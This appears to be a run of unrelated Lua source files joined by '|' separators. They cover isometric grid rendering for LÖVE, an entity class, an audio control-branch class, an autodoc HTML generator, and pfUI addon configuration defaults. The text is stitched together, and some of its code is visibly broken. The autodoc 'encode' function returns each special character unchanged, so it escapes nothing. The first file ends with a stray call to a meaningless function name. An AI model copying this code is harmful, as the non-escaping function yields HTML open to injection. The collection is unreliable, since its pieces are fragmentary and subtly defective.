bufferZlevel = bufferZlevel,
image = image,
x = x,
y = y,
z = z,
r = r,
s = s,
tileType = "wrappedTile"
}
table.insert(grid.bufferDraw , toInsertInTable)
end
--[[
grid.thingOrder = {}
grid.thingDraw = {}
local function checkTable(x,y,height)
if grid.thingDraw[x] == nil then
grid.thingDraw[x] = {}
end
if grid.thingDraw[x][y] == nil then
grid.thingDraw[x][y] = {height}
end
end
function insertThing(x,y,w,h)
w,h=w or 1,h or 1
for ix = 0,w-1 do
for iy = 0,h-1 do
checkTable(x+ix,y+iy)
end
end
end
function insertThingWall(x,y)
if math.floor(x) == x and math.floor(y)+0.5 == y then
for i = 1, 4 do
checkTable(x-i+1,y-i+0.5 , i)
checkTable(x-i,y-i+0.5 , i)
end
elseif math.floor(y) == y and math.floor(x)+0.5 == x then
for i = 1, 4 do
checkTable(x-i+0.5,y-i , i)
checkTable(x-i+0.5,y-i+1 , i)
end
else
assert(false, "invalid Wall position")
end
end
function drawThing()
for x , v in pairs(grid.thingDraw) do
for y , t in pairs(v) do
local screenX, screenY = translateToScreen(x,y)
if t[1] == nil then
love.graphics.setColor(0,0,0)
else
love.graphics.setColor(t[1]*50,0,0)
end
love.graphics.circle("fill",screenX,screenY,20)
--printo("apples")
end
end
grid.thingOrder = {}
grid.thingDraw = {}
end
--]]
function drawAndInk(x,y,color)
--if math.abs(x) + math.abs(y) < grid.outline.width and y + x < grid.outline.height and y + x > -grid.outline.height or math.abs(x) + math.abs(y) < grid.outline.height and y - x < grid.outline.width and y - x > -grid.outline.width then
color = color +1
love.graphics.setColor(heart.hsv(240/221*color,1,1))
drawPolygonTile(x,y)
--end
return color
end
function drawPolygonTile(x,y,mode)
mode = mode or "line"
local point1 , point2 = translateToScreen(x+0.5,y+0.5)
local point3 , point4 = translateToScreen(x+0.5,y-0.5)
local point5 , point6 = translateToScreen(x-0.5,y-0.5)
local point7 , point8 = translateToScreen(x-0.5,y+0.5)
love.graphics.polygon(mode,point1,point2,point3,point4,point5,point6,point7,point8)
end
--[[
grid.drawOrder = {}
grid.drawTable = {}
function insertWall(x,y,z,dir)
local toInsert = {x=x, y=y, z=z, dir=dir}
if grid.drawOrder[x] == nil then
grid.drawOrder[x] = {}
if grid.drawOrder[x][y] == nil then
grid.drawOrder[x][y] = {}
end
end
if grid.drawOrder[x+0.5] and grid.drawOrder[x+0.5][y-0.5] then
toInsert.egde = "left"
--Loop over index???
grid.drawOrder[x+0.5][y-0.5][1].egde = "right"
end
table.insert(grid.drawTable, {x,y})
table.insert(grid.drawOrder[x][y],toInsert)
end
function drawWall()
for i = 1, #grid.drawTable do
love.graphics.setColor(0,0,0)
x,y = grid.drawTable[i][1],grid.drawTable[i][2]
printo(x,y)
local wall = grid.drawOrder[x][y][1]
wall.x , wall.y = translateToScreen(wall.x,wall.y,wall.z)
love.graphics.circle("fill",wall.x,wall.y,20)
love.graphics.setColor(255,255,255)
if wall.egde == "right" then
love.graphics.circle("fill",wall.x-10,wall.y,5)
elseif wall.egde == "left" then
love.graphics.circle("fill",wall.x+10,wall.y,5)
end
printo(wall.egde)
end
grid.drawOrder = {}
grid.drawTable = {}
end
--]]
function drawFlatTile(x,y,w,h,z,flag) -- Do this thing
x,y,w,h,z = x or 0,y or 0,w or 1,h or 1, z or 0
local point = {}
if flag == "dl" then
point[1] , point[2] = translateToScreen(x+w*0.5-h*0.5 , y-h*0.5 , z)
point[3] , point[4] = translateToScreen(x+w*0.5+h*0.5 , y+h*0.5 , z)
point[5] , point[6] = translateToScreen(x-w*0.5 , y+h*0.5 , z)
point[7] , point[8] = translateToScreen(x-w*0.5 , y-h*0.5 , z)
elseif flag == "dr" then
point[1] , point[2] = translateToScreen(x+w*0.5 , y+h*0.5+w*0.5 , z)
point[3] , point[4] = translateToScreen(x+w*0.5 , y-h*0.5 , z)
point[5] , point[6] = translateToScreen(x-w*0.5 , y-h*0.5 , z)
point[7] , point[8] = translateToScreen(x-w*0.5 , y+h*0.5-w*0.5 , z)
elseif flag == "ul" then
point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5-h*0.5,y-h*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5+h*0.5,y+h*0.5,z)
elseif flag == "ur" then
point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5+w*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5-w*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z)
elseif flag == "ru" then
point[1] , point[2] = translateToScreen(x+w*0.5-h*0.5,y+h*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5+h*0.5,y-h*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z)
elseif flag == "rd" then
point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5-w*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5+w*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z)
elseif flag == "lu" then
point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5-w*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5+w*0.5,z)
elseif flag == "ld" then
point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5+h*0.5,y-h*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5-h*0.5,y+h*0.5,z)
else
point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z)
point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z)
point[5] , point[6] = translateToScreen(x-w*0.5,y-h*0.5,z)
point[7] , point[8] = translateToScreen(x-w*0.5,y+h*0.5,z)
end
love.graphics.polygon("fill",point)
--lineThing(point)
end
function drawFlatWall(x,y,w,m,h,z)
assert(m == nil or m == 1 or m == -1 , "m ,Mirror value must be nil, 1 or -1")
x,y,w,m,h,z = x or 0,y or 0,w or 1,m or 1,h or 2.5,z or 0
local ay, ax
if m == 1 then
ax,ay = 0 , w/2
else
ax,ay = w/2 , 0
end
local point = {}
point[1] , point[2] = translateToScreen(x+ax,y+ay,z)
point[3] , point[4] = translateToScreen(x+ax,y+ay,h+z)
point[5] , point[6] = translateToScreen(x-ax,y-ay,h+z)
point[7] , point[8] = translateToScreen(x-ax,y-ay,z)
love.graphics.polygon("line",point) -- FIX: fill for flat wall
--lineThing(point)
end
--[[
function lineThing(point)
heart.push("all")
love.graphics.setColor(0,0,0)
love.graphics.setLineWidth(grid.blockSize*0.01)
love.graphics.setLineJoin("bevel")
love.graphics.polygon("line",point)
heart.pop()
end
--]]
function drawWallDirect( image, x,y,z,m,r,s)
assert(m == nil or m == 1 or m == -1 , "m ,Mirror value must be nil, 1 or -1")
x,y,z,s,m = x or 0 , y or 0 , z or 0 , s or 1 , m or 1
s = s * (grid.blockSizeWidth/(image:getWidth()*2))
local screenX , screenY = translateToScreen(x,y,z)
love.graphics.draw( image ,screenX , screenY, r , s*m , s, image:getWidth()/2,image:getHeight() - image:getWidth()*0.25 )
end
function drawTileDirect( image, x,y,z,r,s)
x,y,z,s = x or 0 , y or 0 , z or 0 , s or 1
s = s * (grid.blockSizeWidth/image:getWidth())
local screenX , screenY = translateToScreen(x,y,z)
love.graphics.draw( image ,screenX , screenY, r , s , s, image:getWidth()/2,image:getHeight()/2)
end
function translateToScreen(x,y,z)
z = z or 0
assert(type(x) == "number", "first argument (x) is not a number")
assert(type(y) == "number", "second argument (y) is not a number")
assert(type(z) == "number", "thrid argument (z) is not a number")
x,y = x + grid.blockTranslateX , y - grid.blockTranslateX
x,y = x + grid.blockTranslateY , y + grid.blockTranslateY
local angle = math.atan2(y,x)+math.pi/4
if angle < 0 then angle = angle +math.pi*2 end
local length = math.sqrt(x * x + y * y)
x,y = math.cos(angle)*length , math.sin(angle)*length
x,y = x*2*grid.blockSize, y*grid.blockSize
x,y = x+viewport.width/2,y+viewport.height/2- z*grid.blockSize*math.sqrt(2)
return x , y
end
function translateToIso(x,y) -- add in (iso) Z variable so you can select floor level?
assert(type(x) == "number", "first argument (x) is not a number")
assert(type(y) == "number", "second argument (y) is not a number")
x = x - (grid.blockTranslateX * grid.blockSizeWidth)
y = y - (grid.blockTranslateY * grid.blockSizeWidth*0.5)
x = x - viewport.width/2
y = y - viewport.height/2
x = x * 0.5
local angle = math.atan2(y,x)-math.pi/4
if angle < 0 then angle = angle +math.pi*2 end
local length = math.sqrt(x * x + y * y)
x,y = math.cos(angle)*length , math.sin(angle)*length
x = x / grid.blockSize
y = y / grid.blockSize
return x,y
end
grid.tilesq = love.graphics.newImage("testasset/tilesq.png")
grid.wallsq = love.graphics.newImage("testasset/wallsq.png")
--[[
tile = {}
tile.image = love.graphics.newImage("tile.png")
tile.width = tile.image:getWidth()
tile.height = tile.image:getHeight()
wall = {}
wall.image = love.graphics.newImage("wall.png")
wall.width = wall.image:getWidth()
wall.height = wall.image:getHeight()
--]]
--HACK
repgjwpwe()
|
BoxEntity = class(EntityBase, function(a, name, x, y, w, h)
EntityBase.init(a, name)
a.box = Box2D(x,y,w,h)
end)
function BoxEntity:getPos()
return self.box.pos
end
function BoxEntity:contains(point)
return self.box:contains(point)
end
function BoxEntity:moveTo(point)
self.box.pos = point
end
function BoxEntity:draw(engine, camera)
local renderPos = camera:transform(self.box.pos)
love.graphics.setColor(self.color)
love.graphics.draw(self:description(), renderPos[1], renderPos[2])
local halfw = 0.5 * self.box.size[1] * camera.scale
local halfh = 0.5 * self.box.size[2] * camera.scale
love.graphics.rectangle(love.draw_line, renderPos[1] - halfw, renderPos[2] - halfh, halfw + halfw, halfh + halfh)
end
|
local Class = require "Base.Class"
local Branch = require "Chain.Branch"
local Persist = require "Persist"
local ControlBranch = Class {}
ControlBranch:include(Branch)
function ControlBranch:init(args)
Branch.init(self, args)
self:setInstanceName(args.id)
self.id = args.id
self.objects = args.objects or
app.logError("%s:init: objects are missing.", self)
local task = app.ObjectList(args.id)
for i, o in ipairs(args.objects) do task:add(o) end
self.task = task
end
function ControlBranch:rename(name)
self.id = name
self:setTitle(self.title, name)
self:setInstanceName(name)
end
function ControlBranch:onStart()
Branch.onStart(self)
-- Must add objects after branch so the objects are processed after the branch but before the parent chain.
-- This is cleaner then registering the objects at depth-1.
app.AudioThread.addTask(self.task, self.depth)
end
function ControlBranch:onStop()
app.AudioThread.removeTask(self.task)
Branch.onStop(self)
end
function ControlBranch:enable(soft)
Branch.enable(self, soft)
self.task:enable()
end
function ControlBranch:disable(soft)
self.task:disable()
Branch.disable(self, soft)
end
function ControlBranch:releaseResources()
app.AudioThread.removeTask(self.task)
self.task:clear()
Branch.releaseResources(self)
end
function ControlBranch:isSerializationNeeded()
return true
end
function ControlBranch:serialize()
local t = Branch.serialize(self)
t.id = self.control:getCustomizableValue("name")
t.type = self.classType
t.control = self.control:serialize()
t.objects = Persist.serializeObjects(self.objects)
return t
end
function ControlBranch:deserialize(t)
if t.objects then Persist.deserializeObjects(self.objects, nil, t.objects) end
if t.control then self.control:deserialize(t.control) end
Branch.deserialize(self, t)
end
return ControlBranch
|
#!/usr/bin/env lua
local args = {...}
if not args[1] or string.match(args[1], "^%-") then
print("Usage: autodoc.lua srcdir/ > documentation.html")
os.exit(1)
end
local entries = {}
for idx, srcdir in ipairs(args) do
local find_proc = io.popen('find "' .. srcdir .. '" -name \\*.lua', "r")
for filename in find_proc:lines() do
local synopsis, comment, source
local mode
local function reset()
synopsis, comment, source = {}, {}, {}
mode = "idle"
end
reset()
local function strip(tbl)
while true do
local line = tbl[#tbl]
if line and string.find(line, "^%s*$") then
tbl[#tbl] = nil
else
break
end
end
if #tbl > 0 then
local min_indent = math.huge
for idx, line in ipairs(tbl) do
local spaces = string.match(line, "^(%s*)")
if min_indent > #spaces then
min_indent = #spaces
end
end
local pattern_parts = { "^" }
for i = 1, min_indent do
pattern_parts[#pattern_parts+1] = "%s"
end
pattern_parts[#pattern_parts+1] = "(.-)%s*$"
local pattern = table.concat(pattern_parts)
for idx, line in ipairs(tbl) do
tbl[idx] = string.match(line, pattern)
end
end
end
local function entry_done()
if #synopsis > 0 then
strip(synopsis)
strip(comment)
strip(source)
local stripped_synopsis = {}
for idx, line in ipairs(synopsis) do
local stripped_line = string.match(line, "^(.-)%-%-") or line
stripped_line = string.match(stripped_line, "^(.-)%s*$")
stripped_synopsis[#stripped_synopsis+1] = stripped_line
end
local concatted_synopsis = string.gsub(
table.concat(stripped_synopsis, " "), "[%s]+", " "
)
local func_call = string.match(
concatted_synopsis, "^[A-Za-z0-9_,. ]+= ?(.-) ?$"
)
if not func_call then
func_call = string.match(
concatted_synopsis,
"^ ?for[A-Za-z0-9_, ]+in (.-) ? do[ %.]+end ?$"
)
end
if not func_call then
func_call = string.match(concatted_synopsis, "^ ?(.-) ?$")
end
func_call = string.gsub(
func_call,
"^([^({]*)([({]).*[,;].*[,;].*[,;].*([)}])$",
function(base, open, close)
return base .. open .. " ... " .. close
end
)
if entries[func_call] then
error("Multiple occurrences of: " .. func_call)
end
entries[func_call] = {
func_call = func_call,
synopsis = synopsis,
comment = comment,
source = source
}
end
reset()
end
for line in io.lines(filename) do
local function add_to(tbl)
if #tbl > 0 or not string.match(line, "^%s*$") then
tbl[#tbl+1] = line
end
end
if mode == "idle" then
if string.find(line, "^%s*%-%-%[%[%-%-%s*$") then
mode = "synopsis"
end
elseif mode == "synopsis" then
if string.find(line, "^%s*$") and #synopsis > 0 then
mode = "comment"
elseif string.find(line, "^%s*%-%-]]%-%-%s*$") then
mode = "source"
else
add_to(synopsis)
end
elseif mode == "comment" then
if string.find(line, "^%s*%-%-]]%-%-%s*$") then
mode = "source"
else
add_to(comment)
end
elseif mode == "source" then
if string.find(line, "^%s*%-%-//%-%-%s*$") then
entry_done()
else
add_to(source)
end
end
end
entry_done()
end
find_proc:close()
end
function output(...)
return io.stdout:write(...)
end
function encode(text)
return (
string.gsub(
text, '[<>&"]',
function(char)
if char == '<' then
return "<"
elseif char == '>' then
return ">"
elseif char == '&' then
return "&"
elseif char == '"' then
return """
end
end
)
)
end
function output_lines(tbl)
for idx, line in ipairs(tbl) do
if idx == 1 then
output('<pre>')
end
local command, comment = string.match(line, "^(.-)(%-%-.*)$")
if command then
output(
encode(command),
'<span class="autodoc_comment_tail">', encode(comment), '</span>'
)
else
output(encode(line))
end
if idx == #tbl then
output('</pre>')
end
output('\n')
end
end
keys = {}
for key in pairs(entries) do
keys[#keys+1] = key
end
table.sort(keys)
for idx, key in ipairs(keys) do
local entry = entries[key]
local m1, m2 = string.match(key, "<?([A-Za-z0-9_]*)>?([A-Za-z0-9_.:]+)")
local anchor = m1 .. m2
output('<li id="', anchor, '" class="autodoc_entry">\n')
output(' <div class="short_synopsis" onclick="toggleSection(\'', anchor, '\')">\n')
output(' ', encode(entry.func_call), '\n')
output(' </div>\n')
output(' <div id="autodoc_details_', anchor, '" class="autodoc_details" style="display: none;">\n')
output(' <div class="autodoc_synopsis">\n')
output_lines(entry.synopsis)
output(' </div>\n')
output(' <div class="autodoc_comment">')
for idx, line in ipairs(entry.comment) do
output(encode(line))
if idx < #entry.comment then
output('<br/>')
end
end
output('</div>\n')
output(' <div class="autodoc_source">\n')
output_lines(entry.source)
output(' </div>\n')
output(' </div>\n')
output('</li>\n')
end
|
-- load pfUI environment
setfenv(1, pfUI:GetEnvironment())
function pfUI:UpdateConfig(group, subgroup, entry, value)
-- create empty config if not existing
if not pfUI_config then
pfUI_config = {}
end
-- check for missing config groups
if not pfUI_config[group] then
pfUI_config[group] = {}
end
-- update config
if not subgroup and entry and value and not pfUI_config[group][entry] then
pfUI_config[group][entry] = value
end
-- check for missing config subgroups
if subgroup and not pfUI_config[group][subgroup] then
pfUI_config[group][subgroup] = {}
end
-- update config in subgroup
if subgroup and entry and value and not pfUI_config[group][subgroup][entry] then
pfUI_config[group][subgroup][entry] = value
end
end
function pfUI:LoadConfig()
-- MODULE SUBGROUP ENTRY VALUE
pfUI:UpdateConfig("global", nil, "language", GetLocale())
pfUI:UpdateConfig("global", nil, "profile", "default")
pfUI:UpdateConfig("global", nil, "pixelperfect", "0")
pfUI:UpdateConfig("global", nil, "offscreen", "0")
pfUI:UpdateConfig("global", nil, "font_default", "Interface\\AddOns\\pfUI\\fonts\\Myriad-Pro.ttf")
pfUI:UpdateConfig("global", nil, "font_size", "12")
pfUI:UpdateConfig("global", nil, "font_unit", "Interface\\AddOns\\pfUI\\fonts\\BigNoodleTitling.ttf")
pfUI:UpdateConfig("global", nil, "font_unit_size", "12")
pfUI:UpdateConfig("global", nil, "font_combat", "Interface\\AddOns\\pfUI\\fonts\\Continuum.ttf")
pfUI:UpdateConfig("global", nil, "force_region", "1")
pfUI:UpdateConfig("global", nil, "errors_limit", "1")
pfUI:UpdateConfig("global", nil, "errors_hide", "0")
pfUI:UpdateConfig("global", nil, "hidebuff", "0")
pfUI:UpdateConfig("global", nil, "hidewbuff", "0")
pfUI:UpdateConfig("global", nil, "twentyfour", "1")
pfUI:UpdateConfig("global", nil, "servertime", "0")
pfUI:UpdateConfig("global", nil, "autosell", "0")
pfUI:UpdateConfig("global", nil, "autorepair", "0")
pfUI:UpdateConfig("global", nil, "libhealth", "1")
pfUI:UpdateConfig("global", nil, "libhealth_hit", "4")
pfUI:UpdateConfig("global", nil, "libhealth_dmg", ".05")
pfUI:UpdateConfig("gui", nil, "reloadmarker", "0")
pfUI:UpdateConfig("gui", nil, "showdisabled", "0")
pfUI:UpdateConfig("buffs", nil, "buffs", "1")
pfUI:UpdateConfig("buffs", nil, "debuffs", "1")
pfUI:UpdateConfig("buffs", nil, "weapons", "1")
pfUI:UpdateConfig("buffs", nil, "separateweapons", "0")
pfUI:UpdateConfig("buffs", nil, "size", "24")
pfUI:UpdateConfig("buffs", nil, "spacing", "5")
pfUI:UpdateConfig("buffs", nil, "wepbuffrowsize", "2")
pfUI:UpdateConfig("buffs", nil, "buffrowsize", "16")
pfUI:UpdateConfig("buffs", nil, "debuffrowsize", "16")
pfUI:UpdateConfig("buffs", nil, "textinside", "0")
pfUI:UpdateConfig("buffs", nil, "fontsize", "-1")
pfUI:UpdateConfig("buffbar", "pbuff", "enable", "0")
pfUI:UpdateConfig("buffbar", "pbuff", "use_unitfonts", "0")
pfUI:UpdateConfig("buffbar", "pbuff", "sort", "asc")
pfUI:UpdateConfig("buffbar", "pbuff", "color", ".5,.5,.5,1")
pfUI:UpdateConfig("buffbar", "pbuff", "bordercolor", "0,0,0,0")
pfUI:UpdateConfig("buffbar", "pbuff", "textcolor", "1,1,1,1")
pfUI:UpdateConfig("buffbar", "pbuff", "dtypebg", "1")
pfUI:UpdateConfig("buffbar", "pbuff", "dtypeborder", "0")
pfUI:UpdateConfig("buffbar", "pbuff", "dtypetext", "0")
pfUI:UpdateConfig("buffbar", "pbuff", "colorstacks", "0")
pfUI:UpdateConfig("buffbar", "pbuff", "width", "-1")
pfUI:UpdateConfig("buffbar", "pbuff", "height", "20")
pfUI:UpdateConfig("buffbar", "pbuff", "filter", "blacklist")
pfUI:UpdateConfig("buffbar", "pbuff", "threshold", "120")
pfUI:UpdateConfig("buffbar", "pbuff", "whitelist", "")
pfUI:UpdateConfig("buffbar", "pbuff", "blacklist", "")
pfUI:UpdateConfig("buffbar", "pdebuff", "enable", "0")
pfUI:UpdateConfig("buffbar", "pdebuff", "use_unitfonts", "0")
pfUI:UpdateConfig("buffbar", "pdebuff", "sort", "asc")
pfUI:UpdateConfig("buffbar", "pdebuff", "color", "8,.4,.4,1")
pfUI:UpdateConfig("buffbar", "pdebuff", "bordercolor", "0,0,0,0")
pfUI:UpdateConfig("buffbar", "pdebuff", "textcolor", "1,1,1,1")
pfUI:UpdateConfig("buffbar", "pdebuff", "dtypebg", "0")
pfUI:UpdateConfig("buffbar", "pdebuff", "dtypeborder", "1")
pfUI:UpdateConfig("buffbar", "pdebuff", "dtypetext", "0")
pfUI:UpdateConfig("buffbar", "pdebuff", "colorstacks", "0")
pfUI:UpdateConfig("buffbar", "pdebuff", "width", "-1")
pfUI:UpdateConfig("buffbar", "pdebuff", "height", "20")
pfUI:UpdateConfig("buffbar", "pdebuff", "filter", "blacklist")
pfUI:UpdateConfig("buffbar", "pdebuff", "threshold", "120")
pfUI:UpdateConfig("buffbar", "pdebuff", "whitelist", "")
pfUI:UpdateConfig("buffbar", "pdebuff", "blacklist", "")
pfUI:UpdateConfig("buffbar", "tdebuff", "enable", "0")
pfUI:UpdateConfig("buffbar", "tdebuff", "use_unitfonts", "0")
pfUI:UpdateConfig("buffbar", "tdebuff", "sort", "asc")
pfUI:UpdateConfig("buffbar", "tdebuff", "color", ".8,.4,.4,1")
pfUI:UpdateConfig("buffbar", "tdebuff", "bordercolor", "0,0,0,0")
pfUI:UpdateConfig("buffbar", "tdebuff", "textcolor", "1,1,1,1")
pfUI:UpdateConfig("buffbar", "tdebuff", "dtypebg", "0")
pfUI:UpdateConfig("buffbar", "tdebuff", "dtypeborder", "1")
pfUI:UpdateConfig("buffbar", "tdebuff", "dtypetext", "0")
pfUI:UpdateConfig("buffbar", "tdebuff", "colorstacks", "0")
pfUI:UpdateConfig("buffbar", "tdebuff", "width", "-1")
pfUI:UpdateConfig("buffbar", "tdebuff", "height", "20")
pfUI:UpdateConfig("buffbar", "tdebuff", "filter", "blacklist")
pfUI:UpdateConfig("buffbar", "tdebuff", "threshold", "120")
pfUI:UpdateConfig("buffbar", "tdebuff", "whitelist", "")
pfUI:UpdateConfig("buffbar", "tdebuff", "blacklist", "")
pfUI:UpdateConfig("appearance", "border", "background", "0,0,0,1")
pfUI:UpdateConfig("appearance", "border", "color", "0.2,0.2,0.2,1")
pfUI:UpdateConfig("appearance", "border", "shadow", "1")
pfUI:UpdateConfig("appearance", "border", "shadow_intensity", ".35")
pfUI:UpdateConfig("appearance", "border", "pixelperfect", "1")
pfUI:UpdateConfig("appearance", "border", "hidpi", "1")
pfUI:UpdateConfig("appearance", "border", "default", "3")
pfUI:UpdateConfig("appearance", "border", "nameplates", "-1")
pfUI:UpdateConfig("appearance", "border", "actionbars", "-1")
pfUI:UpdateConfig("appearance", "border", "unitframes", "-1")
pfUI:UpdateConfig("appearance", "border", "panels", "-1")
pfUI:UpdateConfig("appearance", "border", "chat", "-1")
pfUI:UpdateConfig("appearance", "border", "bags", "-1")
pfUI:UpdateConfig("appearance", "cd", "lowcolor", "1,.2,.2,1")
pfUI:UpdateConfig("appearance", "cd", "normalcolor", "1,1,1,1")
pfUI:UpdateConfig("appearance", "cd", "minutecolor", ".2,1,1,1")
pfUI:UpdateConfig("appearance", "cd", "hourcolor", ".2,.5,1,1")
pfUI:UpdateConfig("appearance", "cd", "daycolor", ".2,.2,1,1")
pfUI:UpdateConfig("appearance", "cd", "threshold", "2")
pfUI:UpdateConfig("appearance", "cd", "font_size", "12")
pfUI:UpdateConfig("appearance", "cd", "font_size_blizz", "12")
pfUI:UpdateConfig("appearance", "cd", "font_size_foreign","12")
pfUI:UpdateConfig("appearance", "cd", "debuffs", "1")
pfUI:UpdateConfig("appearance", "cd", "blizzard", "1")
pfUI:UpdateConfig("appearance", "cd", "foreign", "0")
pfUI:UpdateConfig("appearance", "castbar", "castbarcolor", ".7,.7,.9,.8")
pfUI:UpdateConfig("appearance", "castbar", "channelcolor", ".9,.9,.7,.8")
pfUI:UpdateConfig("appearance", "castbar", "texture", "Interface\\AddOns\\pfUI\\img\\bar")
pfUI:UpdateConfig("appearance", "infight", "screen", "0")
pfUI:UpdateConfig("appearance", "bags", "unusable", "1")
pfUI:UpdateConfig("appearance", "bags", "unusable_color", ".9,.2,.2,1")
pfUI:UpdateConfig("appearance", "bags", "borderlimit", "1")
pfUI:UpdateConfig("appearance", "bags", "borderonlygear", "0")
pfUI:UpdateConfig("appearance", "bags", "movable", "0")
pfUI:UpdateConfig("appearance", "bags", "hidechat", "0")
pfUI:UpdateConfig("appearance", "bags", "icon_size", "-1")
pfUI:UpdateConfig("appearance", "bags", "bagrowlength", "10")
pfUI:UpdateConfig("appearance", "bags", "bankrowlength", "10")
pfUI:UpdateConfig("appearance", "minimap", "mouseoverzone", "0")
pfUI:UpdateConfig("appearance", "minimap", "coordsloc", "bottomleft")
pfUI:UpdateConfig("appearance", "minimap", "tracking_size", "16")
pfUI:UpdateConfig("appearance", "minimap", "tracking_pulse", "1")
pfUI:UpdateConfig("appearance", "worldmap", "mapreveal", "0")
pfUI:UpdateConfig("appearance", "worldmap", "mapreveal_color", ".4,.4,.4,1")
pfUI:UpdateConfig("loot", nil, "autoresize", "1")
pfUI:UpdateConfig("loot", nil, "autopickup", "1")
pfUI:UpdateConfig("loot", nil, "mousecursor", "1")
pfUI:UpdateConfig("loot", nil, "advancedloot", "1")
pfUI:UpdateConfig("loot", nil, "rollannouncequal", "3")
pfUI:UpdateConfig("loot", nil, "rollannounce", "0")
pfUI:UpdateConfig("loot", nil, "raritytimer", "1")
pfUI:UpdateConfig("unitframes", nil, "disable", "0")
pfUI:UpdateConfig("unitframes", nil, "pastel", "1")
pfUI:UpdateConfig("unitframes", nil, "custom", "0")
pfUI:UpdateConfig("unitframes", nil, "customfullhp", "0")
pfUI:UpdateConfig("unitframes", nil, "customcolor", ".2,.2,.2,1")
pfUI:UpdateConfig("unitframes", nil, "custombg", "0")
pfUI:UpdateConfig("unitframes", nil, "custombgcolor", ".5,.2,.2,1")
pfUI:UpdateConfig("unitframes", nil, "custompbg", "0")
pfUI:UpdateConfig("unitframes", nil, "custompbgcolor", ".5,.2,.2,1")
pfUI:UpdateConfig("unitframes", nil, "manacolor", ".5,.5,1,1")
pfUI:UpdateConfig("unitframes", nil, "energycolor", "1,1,.5,1")
pfUI:UpdateConfig("unitframes", nil, "ragecolor", "1,.5,.5,1")
pfUI:UpdateConfig("unitframes", nil, "focuscolor", "1,1,.75,1")
pfUI:UpdateConfig("unitframes", nil, "animation_speed", "5")
pfUI:UpdateConfig("unitframes", nil, "portraitalpha", "0.1")
pfUI:UpdateConfig("unitframes", nil, "always2dportrait", "0")
pfUI:UpdateConfig("unitframes", nil, "portraittexture", "1")
pfUI:UpdateConfig("unitframes", nil, "layout", "default")
pfUI:UpdateConfig("unitframes", nil, "rangecheck", "0")
pfUI:UpdateConfig("unitframes", nil, "rangechecki", "4")
pfUI:UpdateConfig("unitframes", nil, "combosize", "6")
pfUI:UpdateConfig("unitframes", nil, "abbrevnum", "1")
pfUI:UpdateConfig("unitframes", nil, "selfingroup", "0")
pfUI:UpdateConfig("unitframes", nil, "selfinraid", "0")
pfUI:UpdateConfig("unitframes", nil, "raidforgroup", "0")
pfUI:UpdateConfig("unitframes", nil, "clickcast", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast_shift", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast_alt", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast_ctrl", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast_shift", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast_alt", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast_ctrl", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast2", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast2_shift", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast2_alt", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast2_ctrl", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast3", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast3_shift", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast3_alt", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast3_ctrl", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast4", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast4_shift", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast4_alt", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast4_ctrl", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast5", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast5_shift", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast5_alt", "")
pfUI:UpdateConfig("unitframes", nil, "clickcast5_ctrl", "")
pfUI:UpdateConfig("unitframes", "player", "showPVPMinimap", "0")
pfUI:UpdateConfig("unitframes", "player", "showRest", "0")
pfUI:UpdateConfig("unitframes", "player", "energy", "1")
pfUI:UpdateConfig("unitframes", "player", "manatick", "0")
pfUI:UpdateConfig("unitframes", "focus", "width", "120")
pfUI:UpdateConfig("unitframes", "focus", "height", "34")
pfUI:UpdateConfig("unitframes", "focus", "pheight", "4")
pfUI:UpdateConfig("unitframes", "focus", "buffsize", "12")
pfUI:UpdateConfig("unitframes", "focus", "debuffsize", "12")
pfUI:UpdateConfig("unitframes", "group", "portrait", "off")
pfUI:UpdateConfig("unitframes", "group", "width", "164")
pfUI:UpdateConfig("unitframes", "group", "height", "32")
pfUI:UpdateConfig("unitframes", "group", "pheight", "4")
pfUI:UpdateConfig("unitframes", "group", "buffs", "BOTTOMLEFT")
pfUI:UpdateConfig("unitframes", "group", "buffsize", "8")
